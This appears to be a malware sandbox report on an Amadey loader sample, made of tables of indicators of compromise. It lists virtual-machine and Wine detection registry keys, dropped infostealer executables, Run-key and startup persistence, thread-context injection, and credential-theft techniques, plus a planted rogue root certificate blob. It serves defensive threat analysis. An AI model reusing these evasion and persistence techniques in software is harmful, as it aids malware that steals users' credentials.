amadey | 97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946

Virtualization/Sandbox Evasion

Processes:

3956d58270.exec88f052609.exeskotes.exe4861afcbbb.exed9fc199e6c.exe97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeaxplong.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3956d58270.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c88f052609.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4861afcbbb.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d9fc199e6c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 14 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

3956d58270.exeskotes.exe97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exed9fc199e6c.exe4861afcbbb.exeaxplong.exec88f052609.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3956d58270.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d9fc199e6c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4861afcbbb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d9fc199e6c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4861afcbbb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c88f052609.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3956d58270.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c88f052609.exe

Drops startup file 4 IoCs

Processes:

cmd.execmd.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url	cmd.exe

Executes dropped EXE 28 IoCs

Processes:

axplong.exegold.exe12dsvc.exeuOCjOdPaWk.exeeXdFKNSXGF.exeNework.exeHkbsse.exestealc_default2.exejavtestnoreport.exeneedmoney.exepenis.exesvchost015.execrypted.exeLummaC222222.exenewbundle2.exerstxdhuj.exe3956d58270.exec88f052609.exeskotes.exelummetc.exeprocessclass.exesplwow64.exePkContent.exe4861afcbbb.exeWaters.pifd9fc199e6c.exeThermal.pifcontext.exe

pid	process
2668	axplong.exe
2500	gold.exe
2476	12dsvc.exe
584	uOCjOdPaWk.exe
1108	eXdFKNSXGF.exe
1536	Nework.exe
2388	Hkbsse.exe
3024	stealc_default2.exe
2748	javtestnoreport.exe
1520	needmoney.exe
2908	penis.exe
1596	svchost015.exe
2936	crypted.exe
308	LummaC222222.exe
2176	newbundle2.exe
2972	rstxdhuj.exe
6792	3956d58270.exe
7096	c88f052609.exe
2960	skotes.exe
3084	lummetc.exe
3768	processclass.exe
4276	splwow64.exe
4904	PkContent.exe
1112	4861afcbbb.exe
6356	Waters.pif
2580	d9fc199e6c.exe
4580	Thermal.pif
6808	context.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

skotes.exe4861afcbbb.exed9fc199e6c.exe97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeaxplong.exe3956d58270.exec88f052609.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	4861afcbbb.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	d9fc199e6c.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	3956d58270.exe
Key opened	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Wine	c88f052609.exe

Loads dropped DLL 50 IoCs

Processes:

97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeaxplong.exe12dsvc.exeNework.exeHkbsse.exeWerFault.exeneedmoney.exestealc_default2.exeWerFault.exec88f052609.exePkContent.exeskotes.execmd.execmd.exeThermal.pif

pid	process
2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
2476	12dsvc.exe
2476	12dsvc.exe
2668	axplong.exe
1536	Nework.exe
2668	axplong.exe
2668	axplong.exe
2388	Hkbsse.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
1236	WerFault.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
1520	needmoney.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
3024	stealc_default2.exe
3024	stealc_default2.exe
2668	axplong.exe
2668	axplong.exe
6620	WerFault.exe
6620	WerFault.exe
6620	WerFault.exe
6620	WerFault.exe
6620	WerFault.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
7096	c88f052609.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
2668	axplong.exe
4904	PkContent.exe
2960	skotes.exe
2960	skotes.exe
4640	cmd.exe
2960	skotes.exe
2960	skotes.exe
5140	cmd.exe
2960	skotes.exe
4580	Thermal.pif

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

axplong.exeskotes.exerstxdhuj.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\3956d58270.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000354001\\3956d58270.exe"	axplong.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\c88f052609.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000355001\\c88f052609.exe"	axplong.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\4861afcbbb.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000023001\\4861afcbbb.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\d9fc199e6c.exe = "C:\\Users\\Admin\\1000026002\\d9fc199e6c.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ylrdnrwcx = "C:\\Users\\Admin\\AppData\\Roaming\\Ylrdnrwcx.exe"	rstxdhuj.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates processes with tasklist 1 TTPs 6 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

5324 tasklist.exe
5964 tasklist.exe
3136 tasklist.exe
3588 tasklist.exe
7132 tasklist.exe
2932 tasklist.exe

pid	process
5324	tasklist.exe
5964	tasklist.exe
3136	tasklist.exe
3588	tasklist.exe
7132	tasklist.exe
2932	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

Processes:

97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeaxplong.exe3956d58270.exec88f052609.exeskotes.exe4861afcbbb.exed9fc199e6c.exe

pid	process
2904	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
2668	axplong.exe
6792	3956d58270.exe
7096	c88f052609.exe
2960	skotes.exe
1112	4861afcbbb.exe
2580	d9fc199e6c.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

gold.exeneedmoney.execrypted.exe

description	pid	process	target process
PID 2500 set thread context of 1716	2500	gold.exe	RegAsm.exe
PID 1520 set thread context of 1596	1520	needmoney.exe	svchost015.exe
PID 2936 set thread context of 2816	2936	crypted.exe	RegAsm.exe

Drops file in Windows directory 17 IoCs

Processes:

Nework.exec88f052609.exesplwow64.exePkContent.exe97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.execontext.exe

description	ioc	process
File created	C:\Windows\Tasks\Hkbsse.job	Nework.exe
File created	C:\Windows\Tasks\skotes.job	c88f052609.exe
File opened for modification	C:\Windows\HardlyAircraft	splwow64.exe
File opened for modification	C:\Windows\IpaqArthur	splwow64.exe
File opened for modification	C:\Windows\MonsterRaymond	PkContent.exe
File created	C:\Windows\Tasks\axplong.job	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
File opened for modification	C:\Windows\PortugalCharges	PkContent.exe
File opened for modification	C:\Windows\PgJune	PkContent.exe
File opened for modification	C:\Windows\ReceptorsTeeth	PkContent.exe
File opened for modification	C:\Windows\PorcelainExhaust	PkContent.exe
File opened for modification	C:\Windows\ViewpictureKingdom	context.exe
File opened for modification	C:\Windows\BrandonBlind	context.exe
File opened for modification	C:\Windows\IpaqArthur	context.exe
File opened for modification	C:\Windows\ViewpictureKingdom	splwow64.exe
File opened for modification	C:\Windows\BrandonBlind	splwow64.exe
File opened for modification	C:\Windows\FirewireBros	PkContent.exe
File opened for modification	C:\Windows\HardlyAircraft	context.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

5200 powershell.exe
988 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

6620 2972 WerFault.exe rstxdhuj.exe

pid	process
5200	powershell.exe
988	powershell.exe

pid	pid_target	process	target process
6620	2972	WerFault.exe	rstxdhuj.exe

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.execmd.exefindstr.exepowershell.exefindstr.execmd.exepowershell.exefindstr.exeaxplong.exeeXdFKNSXGF.exec88f052609.exesplwow64.exetasklist.exeneedmoney.execrypted.exeRegAsm.exeLummaC222222.execmd.exe97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exeHkbsse.exesvchost015.exelummetc.exeskotes.exePkContent.exefindstr.exeThermal.pifNework.execmd.exefindstr.exe4861afcbbb.exeWaters.piftasklist.execmd.exepenis.execmd.execmd.exeRegAsm.exe12dsvc.exetasklist.exeuOCjOdPaWk.exechoice.exeschtasks.exerstxdhuj.execmd.exegold.execmd.exed9fc199e6c.exefindstr.exechoice.execontext.exestealc_default2.exenewbundle2.exe3956d58270.exetasklist.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axplong.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eXdFKNSXGF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c88f052609.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	splwow64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	needmoney.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LummaC222222.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	97d8afaa50d9d0feb69d11ecdf7fc95a8762ba97458ece1216bb9d85ba6bf946N.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lummetc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PkContent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Thermal.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Nework.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4861afcbbb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Waters.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	penis.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	12dsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uOCjOdPaWk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rstxdhuj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gold.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d9fc199e6c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	context.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	newbundle2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3956d58270.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

stealc_default2.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stealc_default2.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4764 timeout.exe

pid	process
4764	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exechrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4320 taskkill.exe

pid	process
4320	taskkill.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

uOCjOdPaWk.exeRegAsm.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e003000000000000b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f007200690074007900000020000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	uOCjOdPaWk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 140000000100000014000000f352eacf816860c1097c4b852f4332dd93eb5d4f0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c20000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	uOCjOdPaWk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 190000000100000010000000dbd91ea86008fd8536f2b37529666c7b0f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e003000000000000b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079000000140000000100000014000000f352eacf816860c1097c4b852f4332dd93eb5d4f20000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	uOCjOdPaWk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
